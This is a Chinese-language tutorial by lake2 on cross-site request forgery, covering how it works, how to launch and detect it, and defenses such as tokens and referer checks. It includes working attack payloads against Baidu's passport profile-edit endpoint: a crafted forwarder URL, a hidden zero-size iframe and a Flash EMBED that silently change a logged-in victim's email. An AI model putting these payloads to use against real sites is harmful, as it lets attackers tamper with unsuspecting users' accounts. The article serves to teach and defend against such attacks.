CSRF——攻擊與防護

CSRF——攻擊與防護php

author: lake2html


0x01 什麼是CSRF攻擊跨域

    CSRF是Cross Site Request Forgery的縮寫(也縮寫爲XSRF),直譯過來就是跨站請求僞造的意思,也就是在用戶會話下對某個CGI作一些GET/POST的事情——這些事情用戶未必知道和願意作,你能夠把它想作HTTP會話劫持。
    網站是經過cookie來識別用戶的,當用戶成功進行身份驗證以後瀏覽器就會獲得一個標識其身份的cookie,只要不關閉瀏覽器或者退出登陸,之後訪問這個網站會帶上這個cookie。若是這期間瀏覽器被人控制着請求了這個網站的url,可能就會執行一些用戶不想作的功能(好比修改我的資料)。由於這個不是用戶真正想發出的請求,這就是所謂的請求僞造;呵呵,由於這些請求也是能夠從第三方網站提交的,因此前綴跨站二字。
    舉個簡單的例子,某個bbs能夠貼圖,在貼圖的URL中寫入退出登錄的連接,當用戶閱讀這個帖子以後就會logout了,由於用戶以本身的身份訪問了退出登錄連接,在用戶看來是帖子裏面有一張有問題的「圖片」,而不是想要退出,但程序就會認爲是用戶要求退出登錄而銷燬其會話。這就是傳說中的CSRF攻擊了。
    不要小看CSRF哦,記得之前L-Blog就存在一個CSRF漏洞(當時還不知道這個概念:p),它添加管理員是這樣的一個連接:http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,咱們只要構造好ID想辦法讓管理員訪問到這個URL就能夠了;還有Google那個CSRF漏洞[1],將致使郵件泄漏;另外,不要覺得只有XSS才能爆發蠕蟲,只要條件合適,CSRF一樣是有可能的。瀏覽器


0x02 威脅來自哪裏cookie

    貼圖只是GET的方式,不少時候咱們須要僞造POST的請求。一個辦法是利用跨站,固然目標站點可能不存在跨站,這個時候咱們能夠從第三方網站發動攻擊。
    好比我要攻擊一個存在問題的blog,那就先去目標blog留言,留下一個網址,誘其主人點擊過來(這個就要看你的忽悠本事咯:p),而後構造個HTML表單提交些數據過去。
    多窗口瀏覽器就幫了一點忙。
    多窗口瀏覽器(firefox、遨遊、MyIE……)便捷的同時也帶來了一些問題,由於多窗口瀏覽器新開的窗口是具備當前全部會話的。即我用IE登錄了個人Blog,而後我想看新聞了,又運行一個IE進程,這個時候兩個IE窗口的會話是彼此獨立的,從看新聞的IE發送請求到Blog不會有我登陸的cookie;可是多窗口瀏覽器永遠都只有一個進程,各窗口的會話是通用的,即看新聞的窗口發請求到Blog是會帶上我在blog登陸的cookie。
    想想,當咱們用鼠標在Blog/BBS/WebMail點擊別人留下的連接的時候,說不定一場精心準備的CSRF攻擊正等着咱們。xss


0x03 發起CSRF攻擊ide

    從第三方站點利用POST發動CSRF攻擊就是利用Javascript自動提交表單到目標CGI。每次都去寫表單不是很方便,輔助進行的工具備XSS POST Forwarder[2]和CSRF Redirector[3],這裏我也寫了相應的ASP版本[4]。使用的時候只要把提交的url和參數傳給它,它就會自動POST到目標。
    好比我要提交一些數據到www.0x54.org/a.asp:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp&a=123&b=321&c=%26%23%25(這裏要本身考慮URL編碼哦)
    不過實際攻擊的時候你得動動腦子:如何才能把用戶誘騙到咱們的網頁來。工具


0x04 一個實例post

    由於CSRF不如XSS那麼引人注目,因此如今找一個存在CSRF的Web應用程序仍是很容易的。此次咱們的目標是百度,just for test。
    隨便你用什麼辦法,讓一個已登錄百度的用戶訪問一下這個URL:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B
    呵呵,而後看看那人我的資料是否是被修改了。這裏有點鬱悶,當那人訪問URL後瀏覽器會返回到資料修改爲功的頁面,咱們就被發現了。那麼,有沒有辦法不讓瀏覽器刷新呢?
    有。
    一個辦法是用iframe,構造這樣的HTML代碼:<iframe width=0 height=0 src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B"></iframe>
    還有一個辦法就是用flash了。測試


0x05 CSRF With Flash

    flash是能夠提交數據到任意URL的,打開盜版的 Adobe flash CS 3 Professional,新建一個 flash文件(ActionScript 3.0) ,在默認的圖層上點右鍵選動做,而後把如下代碼添加進去:

       import flash.net.URLRequest;
       import flash.system.Security;
       var url = new URLRequest("http://www.0x54.org/lake2");
       var lake = new URLVariables();
       lake = "a=lake2";
       url.method = "POST";
       url.data = lake;
       sendToURL(url);
       stop();

    導出爲swf文件,訪問之,抓包看看效果咯:http://www.0x54.org/lake2/flash/test1.html
    每次都去寫as和編譯swf很麻煩的,根據CSRF Redirector的思路我寫了一個相似的flash程序[5],再拿百度來試試效果,訪問帶以下HTML的網頁:<EMBED src="http://www.0x54.org/lake2/flash/flash_hacking.swf?f=1&t=http://passport.baidu.com/ucommitbas&d=u_jump_url%3D%26sex%3D1%26email%3DCSRF@baidu.com%26sdv%3D%26zodiac%3D0%26birth_year%3D0%26birth_month%3D0%26birth_day%3D0%26blood%3D0%26bs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs2%3D%25CE%25DE%26txt_bs%3D%26birth_site%3D%253B%253B%26b%253Drs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs2%3D%25CE%25DE%26txt_rs%3D%26reside_site%3D%253B%253B"></EMBED>(仍是要注意URL二次編碼)
    這裏不要只侷限於發請求,其實flash是能夠獲得返回內容的,要是返回內容有敏感信息的話,就能夠讀出來發送到咱們控制的Web去。固然,這個得看目標站點是否讓flash跨域取內容了。


0x06 檢測CSRF

    檢測CSRF漏洞都是體力活了,先抓取一個正常請求的數據包,而後去掉referer字段再從新提交,若是仍是有效那基本上就存在問題了。固然參數可能含有不能預測的參數(好比userid什麼的),這個時候就看這個不可預測的參數能不能經過其餘手段好比flash拿到,若是能,呵呵,則仍是存在問題。還有就是試着改post爲get,由於有些程序是不區分get/post的。
    應用程序的功能和返回形式都各不相同,因此想自動化測試CSRF漏洞仍是有點困難的,OWASP上面有一個叫作CSRFTester的工具不妨拿來一試[6]


0x07 防護CSRF

    在Web應用程序側防護CSRF漏洞,通常都是利用referer、token或者驗證碼,Nexus的文章[7]已經寫的很全面了;superhei也有提出bypass的思路[8],請參考他們的文章。
    還有一個思路是在客戶端防護,貌似能夠作成一個相似HTTP Watch的軟件,掛在瀏覽器上攔截或者過濾跨域的cookie。


0x08 總結

    但願本文對您有幫助,同時也歡迎各位同我交流:lake2@mail.csdn.net

 

[ Reference ]

[1] Google GMail E-mail Hijack Technique, http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
[2] XSS POST Forwarder, http://whiteacid.org/misc/xss_post_forwarder.php
[3] CSRF Redirector, http://shiflett.org/blog/2007/jul/csrf-redirector
[4] ASP的XSS POST Forwarder下載(附送一個HTML版), http://www.0x54.org/lake2/xss_post_forwarder.zip
[5] 源代碼和編譯好的swf文件下載:http://www.0x54.org/lake2/flash/flash_hacking.rar
[6] CSRFTester, http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project
[7] Preventing CSRF, http://www.playhack.net/view.php?id=31. 漢化版,http://www.hanguofeng.cn/archives/security/preventing-csrf
[8] Bypass Preventing CSRF, http://www.xfocus.net/articles/200801/964.html

相關文章
相關標籤/搜索